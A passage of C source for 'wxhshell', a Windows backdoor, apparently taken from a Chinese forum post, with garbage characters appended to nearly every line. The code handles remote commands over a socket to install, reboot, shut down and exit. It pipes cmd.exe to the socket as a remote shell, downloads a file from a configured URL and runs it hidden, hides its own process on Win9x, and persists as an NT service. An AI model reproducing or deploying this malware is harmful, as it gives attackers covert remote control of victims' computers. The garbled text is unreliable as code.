  // 帮助 DZ7<-SFU  
  case '?': { 2`;&Uwt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iUua!uC  
    break; i=^!? i  
  } %7y8a`}  
  // 安装 4fyds< f  
  case 'i': { 8$TSQ~  
    if(Install()) tvlrUp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f"}g5eg+  
    else c&GVIrJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'C2X9/!,  
    break; 8h%oJ4da   
    } ZZu{c t9  
  // 卸载 QK`5KB(k'  
  case 'r': { &{uj3s&C   
    if(Uninstall()) N a $eeM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iX|K4.Pz{  
    else \~!!h.xR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8%ea(|Wjg  
    break; f)x(sk  
    } (E{}iq@2  
  // 显示 wxhshell 所在路径 6^l|/\Y{  
  case 'p': { [  ^S(SPL  
    char svExeFile[MAX_PATH]; {TL.2  
    strcpy(svExeFile,"\n\r"); r&y0`M  
      strcat(svExeFile,ExeFile); X;&Iu{&=  
        send(wsh,svExeFile,strlen(svExeFile),0); K8bKTG\  
    break; U5RLM_a@M  
    } dtT: ,&  
  // 重启 |W#(+m  
  case 'b': { MfA@)v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #=g1V?D  
    if(Boot(REBOOT)) nmuzTFs=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ]A$  
    else { B%^W$7 q  
    closesocket(wsh); .sCj3sX*  
    ExitThread(0); [o"<DP6w  
    } OAauD$Hh  
    break; xWnOOE$i  
    } cE;n>ta"F  
  // 关机 &"r /&7:  
  case 'd': { HSk_'g(\0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lHUd<kEC  
    if(Boot(SHUTDOWN)) 48IrC_0j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O 2HmL  
    else { ?XbM  
    closesocket(wsh); $*Kr4vh  
    ExitThread(0); yT~rql  
    } ; I;&O5Y  
    break; \i'Z(1  
    } {vq| 0t\-  
  // 获取shell bFIM07  
  case 's': { CkV5PU  
    CmdShell(wsh); J%u,qF}h  
    closesocket(wsh); f DwK5?  
    ExitThread(0); d9&   
    break; Mbp7%^E"A  
  } E<l/o5<nC  
  // 退出 M#_|WL~  
  case 'x': { 'u:-~nSX)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r7,}"Pl  
    CloseIt(wsh); q6,z 1A"  
    break; oY4^CGk=  
    } ^TtL-|I  
  // 离开 {Q}F.0Q  
  case 'q': { s&hr$`V4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vc :%  
    closesocket(wsh); ?<`oKBn  
    WSACleanup(); >%ovL8F  
    exit(1); _ 6SAU8M,  
    break; 6w=`0r3hy  
        } Mj{w/'  
  } 1ysQvz  
  } 8t3m$<7  
T](}jQxj`  
  // 提示信息 R_O=WmD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u0GHcpOm  
} =ecLzk"+F  
  } W6Mq:?+D  
pI:,Lt1B  
  return; l n\qvD_  
} Zwm/c]6`  
?G5,}%  
// shell模块句柄 p#CjkL  
int CmdShell(SOCKET sock) XC5/$3'M&  
{ PcBD;[cn  
STARTUPINFO si; a}uYv:  
ZeroMemory(&si,sizeof(si)); pB4Uc<e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R{fJ"Q5'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m`l9d4p w?  
PROCESS_INFORMATION ProcessInfo; ^$5 0[  
char cmdline[]="cmd"; <|3%}?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \XPGA uEo  
  return 0; @zC6`  
} J*[@M*R;&  
w`;HwK$ ,  
// 自身启动模式 WFiX=@SS  
int StartFromService(void) G[\TbPh  
{ o]~\u{o#.  
typedef struct 4;I\% qes  
{ ujRXAN@mC  
  DWORD ExitStatus; HT6 [Z1  
  DWORD PebBaseAddress; G0{Z@CvO'  
  DWORD AffinityMask; QYMfxpiC  
  DWORD BasePriority; Bl*}*SPU  
  ULONG UniqueProcessId; +?Ii=*7n  
  ULONG InheritedFromUniqueProcessId; )-26(aNGT  
}   PROCESS_BASIC_INFORMATION; N^dQX,j  
H; NV?CD  
PROCNTQSIP NtQueryInformationProcess; {2h *NFp  
{_Wrs.a'8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w.-x2Zg},  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =nGFLH6)  
Ln4]uqMG.  
  HANDLE             hProcess; 7ocUFY0"  
  PROCESS_BASIC_INFORMATION pbi; d/bimQ  
&h0LWPl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Lr& V~  
  if(NULL == hInst ) return 0; .`}TND~  
tL$,]I$1+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z_!IA ] v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l S)^8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  px<psR5  
UDh \%?j  
  if (!NtQueryInformationProcess) return 0; V 9Qt;]mQ  
6u0>3-[6OD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LUbj^iQ9  
  if(!hProcess) return 0; =/Gd<qz3  
,*J@ic7"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?> }p'{I  
HG;;M6  
  CloseHandle(hProcess); |%C2 cx  
t1Fqq4wRi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v>]g="5}8  
if(hProcess==NULL) return 0; c!ZZMC s  
~HB#7+b  
HMODULE hMod; .; F<X \_  
char procName[255]; ,`}y J*7  
unsigned long cbNeeded; 7|5kak>=  
QPVi& *8_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9\4x<*  
/oT~CB..  
  CloseHandle(hProcess); ^2~ZOP$A  
k24I1DlR8  
if(strstr(procName,"services")) return 1; // 以服务启动 !|Q&4NS  
pG#tMec  
  return 0; // 注册表启动 h9QM nH'  
} <=NnrZOF  
dPEDsG0$a  
// 主模块 ` IVQ  
int StartWxhshell(LPSTR lpCmdLine) Mt4  
{ k+9F;p7  
  SOCKET wsl; 3gUY13C}:p  
BOOL val=TRUE; >%tP"x{  
  int port=0; 7Mh'x:p  
  struct sockaddr_in door; e3ZRL91c  
;0dH@b  
  if(wscfg.ws_autoins) Install(); /(^-= pAX  
uVqc:Q"  
port=atoi(lpCmdLine); zDdo RK@  
9 Zos;  
if(port<=0) port=wscfg.ws_port; p%$r\G-x  
mW"e  
  WSADATA data; CH4Nz'X2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; > SZ95@Oh  
TB>_#+:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0XA\Ag\`G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XZOBK^,5^B  
  door.sin_family = AF_INET; 8XH;<z<oJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ? X8`+`nh  
  door.sin_port = htons(port); 1'hpg>U  
D+!T5)>(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 96\FJHt Z  
closesocket(wsl); /(~ HHNnh  
return 1; (')t >B1Z  
} )j8'6tk)Z  
=#2%[kGq  
  if(listen(wsl,2) == INVALID_SOCKET) { e)H FI|>  
closesocket(wsl); [\ku,yd%0  
return 1; z"< S$sDh  
} <W!T+sMQj  
  Wxhshell(wsl); #b d=G(o~6  
  WSACleanup(); S_sHwObFu|  
7oE:]  
return 0; dU-:#QV6  
EZWWv L  
} Oyb9 ql^  
:30daKo  
// 以NT服务方式启动 LiEEQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n 'ZPB  
{ w%wVB/(  
DWORD   status = 0; !v3d:n\W8  
  DWORD   specificError = 0xfffffff; -n@,r%`UK  
6U).vg<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g#P]72TQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qi@Nz=t#HJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k'X"jon  
  serviceStatus.dwWin32ExitCode     = 0; {U9{*e$=  
  serviceStatus.dwServiceSpecificExitCode = 0; [Qr_0O  
  serviceStatus.dwCheckPoint       = 0;  =glG |  
  serviceStatus.dwWaitHint       = 0; r6D3u(kMb  
yu#m6K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c @lF*"4  
  if (hServiceStatusHandle==0) return; QfjoHeG7  
yTc&C)Jba  
status = GetLastError(); *k\ ;G?  
  if (status!=NO_ERROR) bz:En'2>F  
{ 8I*yS#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; An]Vx<PD  
    serviceStatus.dwCheckPoint       = 0; 3 JlM{N6+  
    serviceStatus.dwWaitHint       = 0; dM"5obEb  
    serviceStatus.dwWin32ExitCode     = status; YPs9Pqkn  
    serviceStatus.dwServiceSpecificExitCode = specificError; VaonG]Ues  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mJ8EiRSE  
    return; (wH+0  
  }  zW?=^bE  
KfK5e{yT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9r:|u:i7m  
  serviceStatus.dwCheckPoint       = 0; $U&p&pgH=W  
  serviceStatus.dwWaitHint       = 0; = g%<xCp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $5#DU__F/  
} Ga^:y=m  
0W 1bZPM  
// 处理NT服务事件,比如:启动、停止 !;t6\Z8&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pgUjje>#  
{ ?`:+SncI"b  
switch(fdwControl) k/U rz*O  
{ 6!6R3Za$  
case SERVICE_CONTROL_STOP: e6y!,My<  
  serviceStatus.dwWin32ExitCode = 0; >N0L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xyV7MW\?w  
  serviceStatus.dwCheckPoint   = 0; {rF9[S"h  
  serviceStatus.dwWaitHint     = 0; (j%"iQD  
  { /+<G@+(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &[ |Z2}  
  } fn5!Nr ,  
  return; X2 <fS~m  
case SERVICE_CONTROL_PAUSE: 7 /" Z/^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =FAIbM>u  
  break; X=jD^"-  
case SERVICE_CONTROL_CONTINUE: 1#zD7b~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z0 c|;  
  break; 8NWuhRRrw  
case SERVICE_CONTROL_INTERROGATE: 4?_^7(%p  
  break; i_y%HG  
}; j3R}]F'C*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gd0a,_`M  
} *]Eyf")  
8y4t9V  
// 标准应用程序主函数 5p7i9"tgn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u`*1OqU  
{ ?%T]V+40  
Sq`Zuu9t  
// 获取操作系统版本 R$2\Xl@qQF  
OsIsNt=GetOsVer(); K:$GmV9o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ) '/xNR  
+~xzgaL  
  // 从命令行安装 $%1oZ{&M  
  if(strpbrk(lpCmdLine,"iI")) Install(); [KEw5-=i@  
a!&<jM  
  // 下载执行文件 5hDm[*83  
if(wscfg.ws_downexe) { [mo9?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +[V.yY/t|>  
  WinExec(wscfg.ws_filenam,SW_HIDE); p3IhK>  
} 0J .]`kR  
f5*hOzKG6  
if(!OsIsNt) { C jz(-018  
// 如果时win9x,隐藏进程并且设置为注册表启动 dp }zG+  
HideProc(); ;(Z9.  
StartWxhshell(lpCmdLine); ,/eAns`ZU  
} 5QG?*Z~?7  
else 6^,;^   
  if(StartFromService()) yh+.Yn=+  
  // 以服务方式启动  %d0BQ|  
  StartServiceCtrlDispatcher(DispatchTable); ?V =#x.9  
else 5~RR _G  
  // 普通方式启动 u y13SkW  
  StartWxhshell(lpCmdLine); 'On%p|s)H  
=AX"'q  
return 0; L1MG("R  
}
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只看该作者 1 发表于: 2006-10-10
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